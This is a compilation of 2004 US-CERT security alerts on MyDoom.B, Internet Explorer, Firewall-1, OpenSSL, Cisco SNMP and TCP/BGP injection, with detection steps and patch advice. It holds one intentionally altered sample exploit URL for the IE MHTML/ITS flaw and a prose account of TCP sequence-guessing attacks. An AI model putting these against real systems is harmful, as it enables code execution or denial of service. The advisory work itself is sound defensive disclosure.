Systems Affected

Any system running Microsoft Windows (Windows 95 and newer) that are used for reading email or accessing peer-to-peer file sharing services.

A new variant of the previously discovered MyDoom virus, MyDoom.B, has been identified. In addition to the common traits of email-borne viruses, this virus may prevent your computer from updating anti-virus and other software.

Quick Links
Protect | Identify | Recover

Protect Your Systems

To protect your systems from infection by this virus, we recommend that you take the following steps. In addition to these steps, US-CERT encourages home users to review the "Home Network Security" and "Home Computer Security" documents.

Avoid opening attachments from suspicious email messages

Emails sent out by Mydoom.B are generated randomly. The From address may also be spoofed to appear as though the message is from a different address.

The subject of the message will include one of the following:

Delivery Error hello Error Mail Delivery System Mail Transaction Failed

Returned mail Server Report Status Unable to deliver the message

Not all email messages with these subject lines carry the MyDoom.B virus, some may be legitimate status messages.

The message body will include one of the following:

• RANDOMIZED CHARACTERS
• test
• The message cannot be represented in 7-bit ASCII encoding and has been sent as a binary attachment.
• sendmail daemon reported: Error #804 occured during SMTP session. Partial message has been received.
• The message contains Unicode characters and has been sent as a binary attachment.
• The message contains MIME-encoded graphics and has been sent as a binary attachment.
• Mail transaction failed. Partial message is available.

The attachment will have one of the following filenames:

body doc text document

data file readme message

The filename also contains an extension (.exe, .bat, .scr, .cmd, or .pif). When the attachment is opened, the MyDoom.B virus is launched and the system is infected.

• Run and maintain an antivirus product

It is important that you use antivirus software and keep it up to date. Most antivirus software vendors frequently release updated information, tools, or virus databases to help detect and recover from virus infections. Many antivirus packages support automatic updates of virus definitions. US-CERT recommends using these automatic updates when possible.

You may wish to read CERT Incident Note IN-2003-01 for more information on anti-virus software and security issues.

• Do not run programs of unknown origin

Do not download, install, or run a program unless it was written by a person or company that you trust.

Email users should be wary of unexpected attachments. Be sure you know the source of an attachment before opening it. Also remember that it is not enough that the mail originated from an email address you recognize. The Melissa virus spread precisely because it originated from a familiar email address.

In addition, MyDoom.B attempts to spread through file-sharing services like KaZaA. Peer-to-peer file sharing users should be particularly careful of running software sent to them by other users. This is a commonly used method among intruders attempting to build networks of distributed denial-of-service (DDoS) agents.

• Use a personal firewall

A personal firewall will not necessarily protect your system from an email-borne virus, but a properly configured personal firewall may prevent the virus from downloading additional components or launching attacks against other systems.

How to Identify a MyDoom.B Infection

To confirm that your system has been infected with the MyDoom.B virus, perform the following steps.

• Check the 'hosts' file

MyDoom.B overwrites the Windows 'hosts' file. The file it replaces it with will probably prevent your system from accessing your antivirus vendor's web site as well as some other web sites. You can check your hosts file by following these steps:

Windows NT/2000/XP Systems

1. Click on the Start menu and select Run
2. In the dialog box that appears, type cmd and hit OK (a DOS window should appear)
3. At the prompt in the DOS window type type %windir%\system32\drivers\etc\hosts
4. If you see multiple lines starting with 0.0.0.0, your system is probably infected

Windows 95/98/Me Systems

1. Click on the Start menu and select Run
2. In the dialog box that appears, type command and hit OK (a DOS window should appear)
3. At the prompt in the DOS window type type %windir%\hosts
4. If you see multiple lines starting with 0.0.0.0, your system is probably infected

• Check for files left by the virus

MyDoom.B drops several files on an infected computer. The existence of these files is a good indication of infection. Be aware that thereare legitimate Windows files with names similar to those left by the virus. Only files with these names and in these specific directories indicate an infection.

Windows NT/2000/XP Systems

1. Click on the Start menu, select Search and then select For Files and Folders
2. In the search box type explorer.exe
3. The existence of explorer.exe in the System32 directory (typically C:\Windows\System32) is an indication of infection
4. In the search box type ctfmon.dll
5. The existence of ctfmon.dll in the System32 directory (typically C:\Windows\System32) is another indication of infection

Windows 95/98/Me Systems

1. Click on the Start menu, select Search
2. In the search box type explorer.exe
3. The existence of explorer.exe in the System directory (typically C:\Windows\System) is an indication of infection
4. In the search box type ctfmon.dll
5. The existence of ctfmon.dll in the System directory (typically C:\Windows\System) is another indication of infection

• Examine the Windows Registry

The MyDoom.B virus also makes some changes to the Windows registry. Users who are unfamiliar with the registry should probably skip this step because it may cause serious damage to the operating system if accidental changes are made.

Windows 95/98/Me/NT/2000/XP Systems

1. At a DOS command prompt, type regedit.exe (the registry editor should appear)
2. Search the Registry for the value Explorer=C:\WINDOWS\system32\explorer.exe in the key HKLM\Software\Microsoft\Windows\CurrentVersion\Run
3. The existence of this value is an indication of MyDoom.B infection

If Your System is Infected

If your system is infected, you will probably be unable to access your antivirus vendor's web site for assistance due to some changes the virus has made to your system. If this is the case, follow these steps to delete a file installed by the virus (do not do this unless you are infected; it may affect the normal operation of your system):

Windows NT/2000/XP Systems

1. Click on the Start menu and select Run
2. In the dialog box that appears, type del %windir%\system32\drivers\etc\hosts

Windows 95/98/Me Systems

1. Click on the Start menu and select Run
2. In the dialog box that appears, type del %windir%\hosts

After deleting this file, you should be able to access your antivirus vendor's web site, obtain the updates to your antivirus software and perform a full scan of your system. Some antivirus vendors may produce a Removal Tool and make it available on their web site. If your vendor provides such a tool, you may want to use it first.

If you are still unsuccessful at removing the virus, contact your antivirus vendor to obtain further assistance with removal and recovery.

Additional Information

For additional technical details about this virus, please see US-CERT Technical Alert TA04-028A.html

Copyright 2004 Carnegie Mellon University. Terms of use

Revision History

• January 28, 2004: Initial release
  January 30, 2004: Added formatting, revised content

  Last updated 

Systems Affected

Microsoft Windows systems running Internet Explorer 5.01 Internet Explorer 5.50 Internet Explorer 6 Previous versions that are no longer supported may also be affected.  

Microsoft Internet Explorer (IE) contains multiple vulnerabilities, the most serious of which could allow attackers in any location to run programs of their choice on your computer using the same privileges as you have.

Quick Links

Patch Information | Problem Description | References 

Microsoft's Home User Security Bulletin for February 2004 describes three vulnerabilities in Internet Explorer (IE).

Note that in addition to IE, any applications that use IE to interpret HTML documents, such as email programs, may present additional ways for these vulnerabilities to be used. 

These vulnerabilities have different impacts, ranging from disguising the true location of a URL to executing computer commands or code, essentially taking over control of your computer and any data on it. The attacker could exploit this vulnerability by convincing you, the victim, to access a specially crafted HTML document such as a web page or HTML email message. Your computer can be compromised simply by viewing the attacker's HTML document with Internet Explorer. 

 

A technical description of these vulnerabilities is available from US-CERT in TA04-033A and from Microsoft in MS04-004.

Resolution

Apply a patch

Microsoft has released a home user bulletin describing how to determine what patches you will need and how to get them. Follow the procedures outlined in Microsoft's Home User Security Bulletin for February 2004.

For additional information, and to receive updates on this alert, go to http://www.us-cert.gov.

References

US-CERT Technical Alert TA04-033A - <http://www.us-cert.gov/cas/techalerts/TA04-033A.html>

Microsoft's Home User Security Bulletin for February 2004 - <http://www.microsoft.com/security/security_bulletins/20040202_windows.asp>

Microsoft Security Bulletin MS04-004 - <http://www.microsoft.com/technet/security/bulletin/MS04-004.asp>

This document is available from <http://www.us-cert.gov/cas/alerts/SA04-033A.html>

Copyright 2004 Carnegie Mellon University. Terms of use

Revision History

• February 02, 2004: Initial release

  Last updated 

Systems Affected

The Application Intelligence (AI) component of Check Point Firewall-1 is an application proxy that scans traffic for application layer attacks once it has passed through the firewall at the network level. Earlier versions of Firewall-1 include the HTTP Security Server, which provides similar functionality.

Both the AI and HTTP Security Server features contain an HTTP parsing vulnerability that is triggered by sending an invalid HTTP request through the firewall. When Firewall-1 generates an error message in response to the invalid request, a portion of the input supplied by the attacker is included in the format string for a call to sprintf().

Researchers at Internet Security Systems have determined that it is possible to exploit this format string vulnerability to execute commands on the firewall. The researchers have also determined that this vulnerability can be exploited as a heap overflow, which would allow an attacker to execute arbitrary code. In either case, the commands or code executed by the attacker would run with administrative privileges, typically "SYSTEM" or "root". For more information, please see the ISS advisory at:

http://xforce.iss.net/xforce/alerts/id/162

The CERT/CC is tracking this issue as VU#790771. This reference number corresponds to CVE candidate CAN-2004-0039.

Impact

This vulnerability allows remote attackers to execute arbitrary code on affected firewalls with administrative privileges, typically "SYSTEM" or "root".

Solution

Apply the patch from Check Point

Check Point has published a "Firewall-1 HTTP Security Server Update" that modifies the error return strings used when an invalid HTTP request is detected. For more information, please see the Check Point bulletin at:

http://www.checkpoint.com/techsupport/alerts/security_server.html

Disable the affected components

Check Point has reported that their products are only affected by this vulnerability if the HTTP Security Servers feature is enabled. Therefore, affected sites may be able to limit their exposure to this vulnerability by disabling HTTP Security Servers or the Application Intelligence component, as appropriate.

This vulnerability was discovered and researched by Mark Dowd of ISS X-Force.

This document was written by Jeffrey P. Lanza.

This document is available from http://www.us-cert.gov/cas/techalerts/TA04-036A.html

Revision History

Systems Affected

Systems running Microsoft Windows

Microsoft Windows contains multiple vulnerabilities, the most serious of which could allow attackers to take control of your computer.

Microsoft's updated Home User Security Bulletin for February 2004 describes more vulnerabilities in the Microsoft Windows operating system. Microsoft is tracking these issues as Security Update 828028.

It is unclear at this time how many different ways your computer can be compromised using these vulnerabilities, so we recommend you apply the updates below as soon as possible. A technical description of these vulnerabilities is available from US-CERT in TA04-041A and from Microsoft in MS04-007.

Resolution

Apply a patch

Microsoft has released a home user bulletin describing how to determine what patches you will need and how to get them. Follow the procedures outlined in Microsoft's updated Home User Security Bulletin for February 2004.

For additional information, and to receive updates on this alert, go to http://www.us-cert.gov/cas/alerts/SA04-041A.html

References

US-CERT Technical Alert TA04-041A - <http://www.us-cert.gov/cas/techalerts/TA04-041A.html> Microsoft's Updated Home User Security Bulletin for February 2004 - <http://www.microsoft.com/security/security_bulletins/20040210_windows.asp> Microsoft Security Bulletin MS04-007 - <http://www.microsoft.com/technet/security/bulletin/MS04-007.asp>

Microsoft Knowledge Base Article 828028: An ASN.1 vulnerability could allow code execution - <http://support.microsoft.com/?kbid=828028>

This document is available from <http://www.us-cert.gov/cas/alerts/SA04-041A.html>

Copyright 2004 Carnegie Mellon University. Terms of use

Revision History

Systems Affected

Systems running Microsoft Office XP and Outlook 2002

There is a vulnerability in Outlook 2002 that could allow attackers to take control of your computer.

By taking advantage of the way Outlook interprets email links, an attacker may be able to gain control of your computer.

A technical description of these vulnerabilities is available from US-CERT in TA04-070A and from Microsoft in MS04-009.

Resolution

Apply a patch

Microsoft's Office Security Update for March 2004 links to the necessary patches.

References

US-CERT Technical Alert TA04-070A - <http://www.us-cert.gov/cas/techalerts/TA04-070A.html> Microsoft's Office Security Update for March 2004 - <http://www.microsoft.com/security/security_bulletins/20040309_office.asp> Microsoft Security Bulletin MS04-009 - <http://www.microsoft.com/technet/security/bulletin/ms04-009.mspx>

This document is available from <http://www.us-cert.gov/cas/alerts/SA04-070A.html>

Copyright 2004 Carnegie Mellon University. Terms of use

Revision History

Systems Affected

VU#288574 - OpenSSL contains null-pointer assignment in do_change_cipher_spec() function

Versions of OpenSSL from 0.9.6c to 0.9.6k inclusive and 0.9.7a to 0.9.7c inclusive contain a null-pointer assignment in the do_change_cipher_spec() function. By performing a specially crafted SSL/TLS handshake, an attacker could cause OpenSSL to crash, which may result in a denial of service in the target application.
(Other resources: OpenSSL Security Advisory (1.), CAN-2004-0079, NISCC/224012/OpenSSL/1)

VU#484726 - OpenSSL does not adequately validate length of Kerberos tickets during SSL/TLS handshake

Versions 0.9.7a, 0.9.7b, and 0.9.7c of OpenSSL do not adequately validate the length of Kerberos tickets (RFC 2712) during an SSL/TLS handshake. OpenSSL is not configured to use Kerberos by default. By performing a specially crafted SSL/TLS handshake with an OpenSSL system configured to use Kerberos, an attacker could cause OpenSSL to crash, which may result in a denial of service in the target application. OpenSSL 0.9.6 is not affected.
(Other resources: OpenSSL Security Advisory (2.), CAN-2004-0112, NISCC/224012/OpenSSL/2)

VU#465542 - OpenSSL does not properly handle unknown message types

OpenSSL prior to version 0.9.6d does not properly handle unknown SSL/TLS message types. An attacker could cause the application using OpenSSL to enter an infinite loop, which may result in a denial of service in the target application. OpenSSL 0.9.7 is not affected.
(Other resources: CAN-2004-0081, NISCC/224012/OpenSSL/3)

Impact

An unauthenticated, remote attacker could cause a denial of service in any application or system that uses a vulnerable OpenSSL SSL/TLS library.

Solution

Upgrade or Apply a patch from your vendor

Upgrade to OpenSSL 0.9.6m or 0.9.7d. Alternatively, upgrade or apply a patch as specified by your vendor. Note that it is necessary to recompile any applications that are statically linked to the OpenSSL SSL/TLS library.

Appendix A. Vendor Information

Multiple vendors are affected by different combinations of these vulnerabilities. For updated information, please see the Systems Affected sections of VU#288574, VU#484726, and VU#465542.

Appendix B. References

These vulnerabilities were researched and reported by the OpenSSL Project and the U.K. National Infrastructure Security Co-ordination Centre (NISCC).

Feedback can be directed to the authors: Art Manion and Damon Morda.

Revision History

• March 18, 2004: Initial release
  March 19, 2004: Added CVE CAN references VU# links
   

  Last updated 

Systems Affected

Systems Affected

Programs that use the WebBrowser ActiveX control or the IE HTML rendering engine (MSHTML) may be affected by this vulnerability. Internet Explorer, Outlook, and Outlook Express are all examples of such programs.

US-CERT is tracking this issue as VU#323070. This reference number corresponds to CVE candidate CAN-2004-0380.

Impact

By convincing a victim to view an HTML document such as a web page or HTML email message, an attacker could access data or execute script in a different security domain than the one containing the attacker's document. By causing script to be run in the Local Machine Zone, the attacker could execute arbitrary code with the privileges of the user invoking the MHTML handler. The attacker may also be able to read or modify data in other web sites (including reading cookies or content and modifying or creating content).

Publicly available exploit code exists for this vulnerability. US-CERT has monitored incident reports that indicate that this vulnerability is being exploited. The Ibiza trojan, variants of W32/Bugbear, and BloodHound.Exploit.6 are some examples of malicious code that exploit this vulnerability. Any arbitrary payload could be delivered via this vulnerability, and different anti-virus vendors may identify malicious code with different names.

Most of the observed exploit code uses InfoTech Storage (ITS) protocol handlers and Compiled HTML Help (CHM) files to parse an HTML file in the Local Machine Zone. CHM files use the InfoTech Storage (ITS) format to store components such as HTML files, graphic files, and ActiveX objects, and Windows provides several protocol handlers that can access ITS files and individual CHM components: its:, ms-its:, ms-itss:, and mk:@MSITStore:.

When referencing an inaccessible or non-existent MHTML file using the ITS and mhtml: protocols, IE can access a CHM file from an alternate location. Because of the vulnerability in the MHTML handler, IE incorrectly treats the CHM file as if it were in the same domain as the unavailable MHTML file. Using a specially crafted URL, an attacker can cause arbitrary script in a CHM file to be executed in a different domain, violating the cross-domain security model.

Any programs, including other web browsers, that use the Windows protocol handlers (URL monikers) for ITS or MHTML protocols could function as attack vectors. Also, due to the way that IE determines MIME types, HTML and CHM files may not have the expected file name extensions (.htm/.html and .chm respectively).

A malicious web site or email message may contain HTML similar to the following:

ms-_its:_mhtml:_file://C:\nosuchfile.mht!_http://www.example.com//exploit._chm::exploit.html 
(This URL is intentionally modified to avoid detection by anti-virus software.)

In this example, HTML and script in exploit.html will be executed in the security context of the Local Machine Zone. It is common practice for exploit.html to either contain or download an executable payload such as a backdoor, trojan horse, virus, bot, or other malicious code.

Note that it is possible to encode a URL in an attempt to bypass HTTP content inspection or anti-virus software.

Solution

Install a patch

Install the appropriate cumulative patch for Outlook Express according to Microsoft Security Bulletin MS04-013.

Disable ITS and MHTML protocol handlers

Disabling the ITS and MHTML protocol handlers appears to prevent exploitation of this vulnerability. Delete or rename the following registry keys:

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\PROTOCOLS\Handler\{ms-its,ms-itss,its,mk,mhtml}

Disabling these protocol handlers will significantly reduce the functionality of the Windows Help system and may have other unintended consequences. Plan to undo these changes after patches have been tested and installed.

Follow good Internet security practices

These recommended security practices will help to reduce exposure to attacks and mitigate the impact of cross-domain vulnerabilities. Additional recommendations can be found under Mitigating factors and Workarounds in the Vulnerability Details section of MS04-013.

Disable Active scripting and ActiveX controls

NOTE: Disabling Active scripting and ActiveX controls will not prevent the exploitation of this vulnerability.

Disabling Active scripting and ActiveX controls in the Internet and Local Machine Zones may stop certain types of attacks and will prevent exploitation of different cross-domain vulnerabilities. Disable Active scripting and ActiveX controls in any zones used to read HTML email.

Disabling Active scripting and ActiveX controls in the Local Machine Zone will prevent malicious code that requires Active scripting and ActiveX controls from running. Changing these settings may reduce the functionality of scripts, applets, Windows components, or other applications. See Microsoft Knowledge Base Article 833633 for detailed information about security settings for the Local Machine Zone. Note that Service Pack 2 for Windows XP includes these changes.

Do not follow unsolicited links

Do not click on unsolicited URLs received in email, instant messages, web forums, or Internet relay chat (IRC) channels.

Appendix A. Vendor Information

Microsoft Corporation

Please see Microsoft Security Bulletin MS04-013.

Appendix B. References

• Vulnerability Note VU#323070 - <http://www.kb.cert.org/vuls/id/323070>
• US-CERT Computer Virus Resources - <http://www.us-cert.gov//reading_room/virus.html>
• CVE CAN-2004-0380 - <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0380>
• Microsoft Security Bulletin MS04-013 - <http://www.microsoft.com/technet/security/bulletin/ms04-013.mspx>
• Introduction to URL Security Zones - <http://msdn.microsoft.com/workshop/security/szone/overview/overview.asp>
• About Cross-Frame Scripting and Security - <http://msdn.microsoft.com/workshop/author/om/xframe_scripting_security.asp>
• MIME Type Determination in Internet Explorer - <http://msdn.microsoft.com/workshop/networking/moniker/overview/appendix_a.asp>
• URL Monikers - <http://msdn.microsoft.com/workshop/networking/moniker/monikers.asp>
• Asynchronous Pluggable Protocols - <http://msdn.microsoft.com/workshop/networking/pluggable/pluggable.asp>
• Microsoft HTML Help 1.4 SDK - <http://msdn.microsoft.com/library/en-us/htmlhelp/html/vsconHH1Start.asp>
• Microsoft Knowledge Base Article 182569 - <http://support.microsoft.com/default.aspx?scid=182569>
• Microsoft Knowledge Base Article 174360 - <http://support.microsoft.com/default.aspx?scid=174360>
• Microsoft Knowledge Base Article 833633 - <http://support.microsoft.com/default.aspx?scid=833633>
• Windows XP Service Pack 2 Technical Preview - <http://www.microsoft.com/technet/prodtechnol/winxppro/sp2preview.mspx>
• AusCERT Update AU-2004.007 - <http://www.auscert.org.au/3990>

This vulnerability was reported by Liu Die Yu. Thanks to http-equiv for additional research and collaboration.

Feedback can be directed to the author: Art Manion.

Revision History

• April 8, 2004: Initial release
  April 13, 2004: Added patch and vendor information (MS04-013), credited Liu Die Yu, updated vulnerability, impact, and workaround information about MHTML
  April 23. 2004: Thanked http-equiv April 26, 2004: Further modified sample exploit URL to minimize AV detection

  Last updated 

Systems Affected

Systems running Microsoft Windows

There are multiple vulnerabilities in Microsoft Windows that could allow attackers to take control of your computer.

Microsoft has released Windows Security Updates for April 2004, which addresses multiple vulnerabilities in the Microsoft Windows operating system. Three of the four updates are considered critical, so users should apply the updates as soon as possible.

A technical description of these vulnerabilities is available from US-CERT in TA04-104A and from Microsoft in MS04-011, MS04-012, MS04-013, and MS04-014.

Resolution

Apply a patch

Follow the procedures outlined in Microsoft's Windows Security Updates for April 2004.

References

US-CERT Technical Alert TA04-104A: Multiple Vulnerabilities in Microsoft Products - <http://www.us-cert.gov/cas/techalerts/TA04-104A.html> Microsoft's Windows Security Update for April 2004 - <http://www.microsoft.com/security/security_bulletins/200404_windows.asp> Microsoft Security Bulletin MS04-011 - <MS04-011>

Microsoft Security Bulletin MS04-012 - < MS04-012>

Microsoft Security Bulletin MS04-013 - <MS04-013>

Microsoft Security Bulletin MS04-014 - <MS04-014>

Feedback about this alert should be sent to the author, Mindi McDowell, at "US-CERT Security Alerts" at <mailto:cert@cert.org>. Please include the Subject line "SA04-104A Feedback VU#667571".

Copyright 2004 Carnegie Mellon University. Terms of use

Revision History

Systems Affected

Summary of Microsoft Bulletins for April 2004

Security Bulletin MS04-011: Security Update for Microsoft Windows (835732)

Impact

Remote attackers could execute arbitrary code on vulnerable systems.

Systems affected

Vulnerability identifiers 

The following table outlines these issues and is based on Microsoft's Security Bulletin:

 

Security Bulletin MS04-012: Cumulative Update for Microsoft RPC/DCOM (828741)

This bulletin addresses several new vulnerabilities affecting the systems listed below. These vulnerabilities are in Microsoft Windows Remote Procedure Call (RPC) and Distributed Component Object Model (DCOM).

Impact

Remote attackers could execute arbitrary code on vulnerable systems.

Systems affected

• Windows NT Workstation 4.0
• Windows NT Server 4.0
• Windows NT Server 4.0, Terminal Server Edition
• Windows 2000
• Windows XP
• Windows Server 2003

Vulnerability identifiers 

The following table outlines these issues and is based on Microsoft's Security Bulletin:

 

Security Bulletin MS04-013:Cumulative Security Update for Outlook Express (837009)

This bulletin addresses a vulnerability affecting the systems listed below. The vulnerability affects the Microsoft Windows MHTML Protocol handler and any applications that use it, including Microsoft Outlook and Internet Explorer. This vulnerability has been assigned VU#323070 and CAN-2004-0380. 

Note: MS04-013 includes patches remediating the vulnerability described in TA04-099A.
 

Impact

Remote attackers could execute arbitrary code on vulnerable systems.

Systems affected

• Windows NT Workstation 4.0
• Windows NT Server 4.0
• Windows NT Server 4.0, Terminal Server Edition
• Windows 2000
• Windows XP
• Windows Server 2003
• Windows 98
• Windows 98 Second Edition (SE)
• Windows Millennium Edition (Windows Me)

Note: This issue affects systems with Outlook Express installed. Outlook Express is installed by default on most (if not all) current versions of Microsoft Windows.

Security Bulletin MS04-014: Vulnerability in the Microsoft Jet Database Engine Could Allow Code Execution (837001)

This bulletin addresses a vulnerability affecting the systems listed below. There is a buffer overflow vulnerability in Microsoft's Jet Database Engine (Jet). An attacker could take control of a vulnerable system, including installing programs; viewing, changing, or deleting data; or creating new accounts that have full privileges. This vulnerability has been assigned VU#740716 and CAN-2004-0197.

Impact

Remote attackers could execute arbitrary code on vulnerable systems.

Systems affected

• Windows NT Workstation 4.0
• Windows NT Server 4.0
• Windows NT Server 4.0, Terminal Server Edition
• Windows 2000
• Windows XP
• Windows Server 2003

Update to TA04-099A

Microsoft has released a patch that addresses the cross-domain vulnerability discussed in TA04-099A: Vulnerability in Internet Explorer ITS Protocol Handler. US-CERT is tracking this issue as VU#323070. This reference number corresponds to CVE candidate CAN-2004-0380.

The patches and further information about the vulnerability are available in Microsoft Security Bulletin MS04-013. MS04-013 is titled Cumulative Security Update for Outlook Express. Since most (if not all) current Windows systems have Outlook Express installed by default, and the MHTML protocol handler is part of the Outlook Express software package, most (if not all) Windows systems should be considered vulnerable.

TA04-099A and VU#323070 focused on the ITS protocol handlers; however, the latent vulnerability appears to be in the MHTML handler shipped as part of Outlook Express. These documents have been updated.

Impact

Several of the issues identified by Microsoft have been described as Critical in nature. Each bulletin contains at least one vulnerability which may allow remote attackers to execute arbitrary code on affected systems. The privileges gained would depend on the security context of the software and vulnerability exploited.

Solution

Apply an appropriate set of updates from Microsoft

Please see the following site for more information about appropriate remediation.

Windows Security Updates for April 2004

Appendix A. Vendor Information

This appendix contains information provided by vendors for this technical alert. As vendors report new information to US-CERT, we will update this section and note the changes in our revision history. If a particular vendor is not listed below, we have not received their comments.

Microsoft Corporation

Windows Security Updates for April 2004
Microsoft Security Bulletin MS04-011 - Security Update for Microsoft Windows (835732)
Microsoft Security Bulletin MS04-012 - Cumulative Update for Microsoft RPC/DCOM (828741)
Microsoft Security Bulletin MS04-013 - Cumulative Security Update for Outlook Express (837009)
Microsoft Security Bulletin MS04-014 - Vulnerability in the Microsoft Jet Database Engine Could Allow Code Execution (837001)

Appendix B. References

• Technical Cyber Security Alert TA04-099A: Cross-Domain Vulnerability in Outlook Express MHTML Protocol Handler - http://www.us-cert.gov/cas/techalerts/TA04-099A.html
• US-CERT Cyber Security Alert SA04-104A: Summary of Windows Security Updates for April 2004 - http://www.us-cert.gov/cas/alerts/SA04-104A.html
• Windows Security Updates for April 2004 - http://www.microsoft.com/security/security_bulletins/200404_windows.asp
• Microsoft Security Bulletin MS04-011 - Security Update for Microsoft Windows (835732) - http://www.microsoft.com/technet/security/bulletin/MS04-011.mspx
• Microsoft Security Bulletin MS04-012 - Cumulative Update for Microsoft RPC/DCOM (828741) - http://www.microsoft.com/technet/security/bulletin/MS04-012.mspx
• Microsoft Security Bulletin MS04-013 - Cumulative Security Update for Outlook Express (837009) - http://www.microsoft.com/technet/security/bulletin/MS04-013.mspx
• Microsoft Security Bulletin MS04-014 - Vulnerability in the Microsoft Jet Database Engine Could Allow Code Execution (837001) - http://www.microsoft.com/technet/security/bulletin/MS04-014.mspx
• Microsoft Security Response Center Security Bulletin Severity Rating System (Revised, November 2002) - http://www.microsoft.com/technet/security/bulletin/rating.mspx
• Vulnerability Note VU#323070: Outlook Express MHTML protocol handler does not properly validate location of alternate data - http://www.kb.cert.org/vuls/id/323070
• Vulnerability Note VU#547820: Microsoft Windows DCOM/RPC vulnerability - http://www.kb.cert.org/vuls/id/547820
• Vulnerability Note VU#740716: Microsoft Jet Database Engine database request handling buffer overflow - http://www.kb.cert.org/vuls/id/740716

Feedback: US-CERT Technical Alerts

Revision History

• April 13, 2004: Initial release
  April 14, 2004: Updated Vulnerability Note links
   

  Last updated 

Systems Affected

http://www.cisco.com/warp/public/707/cisco-sa-20040420-snmp.shtml

The Simple Network Management Protocol (SNMP) is a widely deployed protocol that is commonly used to monitor and manage network devices. There are several types of SNMP messages that are used to request information or configuration changes, respond to requests, enumerate SNMP objects, and send both solicited and unsolicited alerts. These messages use UDP to communicate network information between SNMP agents and managers.

There is a vulnerability in Cisco's IOS SNMP service in which attempts to process specific SNMP messages are handled incorrectly. This may potentially cause the device to reload.

Typically, ports 161/udp and 162/udp are used during SNMP operations to communicate. In addition to these well-known ports, Cisco IOS uses a randomly selected UDP port in the range from 49152/udp to 59152/udp (and potentially up to 65535) to listen for other types of SNMP messages. While SNMPv1 and SNMPv2c formatted messages can trigger this vulnerability, the greatest risk is exposed when any SNMPv3 solicited operation is sent to a vulnerable port.

Cisco notes in their advisory:

SNMPv1 and SNMPv2c solicited operations to the vulnerable ports will perform an authentication check against the SNMP community string, which may be used to mitigate attacks. Through best practices of hard to guess community strings and community string ACLs, this vulnerability may be mitigated for both SNMPv1 and SNMPv2c. However, any SNMPv3 solicited operation to the vulnerable ports will reset the device. If configured for SNMP, all affected versions will process SNMP version 1, 2c and 3 operations.

Cisco is tracking this issue as CSCed68575. US-CERT is tracking this issue as VU#162451.

Impact

A remote, unauthenticated attacker could cause the vulnerable device to reload. Repeated exploitation of this vulnerability could lead to a sustained denial of service condition.

Solution

Upgrade to fixed versions of IOS

Cisco has published detailed information about upgrading affected Cisco IOS software to correct this vulnerability. System managers are encouraged to upgrade to one of the non-vulnerable releases. For additional information regarding availability of repaired releases, please refer to the "Software Versions and Fixes" section of the Cisco Security Advisory.

Workarounds

Cisco recommends a number of workarounds, including disabling SNMP processing on affected devices. For a complete list of workarounds, see the Cisco Security Advisory.

Appendix A. Vendor Information

This appendix contains information provided by vendors for this
advisory. As vendors report new information to US-CERT, we will update
this section and note the changes in our revision history. If a
particular vendor is not listed below, we have not received their
comments.

Cisco Systems

Please refer to Cisco Security Advisory: "Vulnerabilities in SNMP Message Processing".
Cisco has published their advisory at the following location:

http://www.cisco.com/warp/public/707/cisco-sa-20040420-snmp.shtml

US-CERT thanks Cisco Systems for notifying us about
this problem.

Feedback can be directed to the authors: Jeff Havrilla, Shawn Hernan, Damon Morda

The latest version of this document can be found at: http://www.us-cert.gov/cas/techalerts/TA04-111B.html

Copyright 2004 Carnegie Mellon University. Terms of use: http://www.us-cert.gov/legal.html

Revision History

• April 20, 2004: Initial release
  

Systems Affected

[I]f a sequence number within the receive window is known,
an attacker can inject data into the session stream or terminate the
connection. If the ISN value is known and the number of bytes sent
already sent is known, an attacker can send a simple packet to inject
data or kill the session. If these values are not known exactly, but
an attacker can guess a suitable range of values, he can send out a
number of packets with different sequence numbers in the range until
one is accepted. The attacker need not send a packet for every
sequence number, but can send packets with sequence numbers a
window-size apart. If the appropriate range of sequence numbers is
covered, one of these packets will be accepted. The total number of
packets that needs to be sent is then given by the range to be
covered divided by the fraction of the window size that is used as an
increment.

Paul Watson has performed the statistical analysis of this attack when the
ISN is not known and has pointed out that such an attack could be viable
when specifically taking into account the TCP Window size. He has also
created a proof-of-concept tool demonstrating the practicality of the
attack. The National Infrastructure Security Co-Ordination Centre (NISCC)
has published an advisory summarizing Paul Watson's analysis in NISCC Vulnerability Analysis 236929.

Since TCP is an insecure protocol, it is possible to inject
transport-layer packets into sessions between hosts given the right
preconditions. The TCP/IP Initial Sequence
Number vulnerability (VU#498440) referenced in CA-2001-09 is one
example of how an attacker could inject TCP packets into a session. If
an attacker were to send a Reset (RST) packet for example, they would
cause the TCP session between two endpoints to terminate without any
further communication.

The Border Gateway Protocol (BGP) is used to exchange routing
information for the Internet and is primarily used by Internet Service
Providers (ISPs). For detailed information about BGP and some tips for
securing it, please see Cisco
System's documentation or Team
Cymru. A vulnerable situation arises due to the fact that BGP relies on
long-lived persistent TCP sessions with larger window sizes to
function. When a BGP session is disrupted, the BGP application
restarts and attempts to re-establish a connection to its peers. This
may result in a brief loss of service until the fresh routing tables
are created.

In a TCP session, the endpoints can negotiate a TCP Window size. When
this is taken into account, instead of attempting to send a spoofed
packet with all potential sequence numbers, the attacker would only
need to calculate a valid sequence number that falls within the next
expected ISN plus or minus half the window size. Therefore, the larger
the TCP Window size, the the larger the range of sequence numbers that
will be accepted in the TCP stream. According to Paul Watson's report,
with a typical xDSL data connection (80 Kbps, upstream) capable of
sending of 250 packets per second (pps) to a session with a TCP Window
size of 65,535 bytes, it would be possible to inject a TCP packet
approximately every 5 minutes. It would take approximately 15 seconds
with a T-1 (1.544 Mbps) connection. These numbers are significant when
large numbers of compromised machines (often called "botnets" or
"zombies") can be used to generate large amounts of packets that can
be directed at a particular host.

To protect against such injections, RFC 2385 provides a method of
using MD5 signatures on the TCP Headers. If this form of verification
is supported and enabled between two peers, then an attacker would
have to obtain the key used to transmit the packet in order to
successfully inject a packet into the TCP session. Another alternative
would be to tunnel BGP over IPSec. Again, this would provide a form of
authentication between the BGP peers and the data that they transmit.
The lack of authentication when using TCP for BGP makes this type of
attack more viable.

US-CERT is tracking this issue as VU#415294. This
reference number corresponds to CVE candidate CAN-2004-0230.

NISCC is tracking this issue as Vulnerability Advisory 236929.

Impact

Sustained exploitation of the TCP injection vulnerability with regard to
the BGP vulnerability could lead to a denial-of-service condition that
could affect a large segment of the Internet community. Normal operations
would most likely resume shortly after the attack stopped.

Since the TCP/IP Initial
Sequence Number vulnerability (VU#498440) has been proven more viable
of an attack, any services or sites that rely on persistent TCP sessions
could also be affected by this vulnerability. Impacts could range from
data corruption or session hijacking to a denial-of-service condition.

Solution

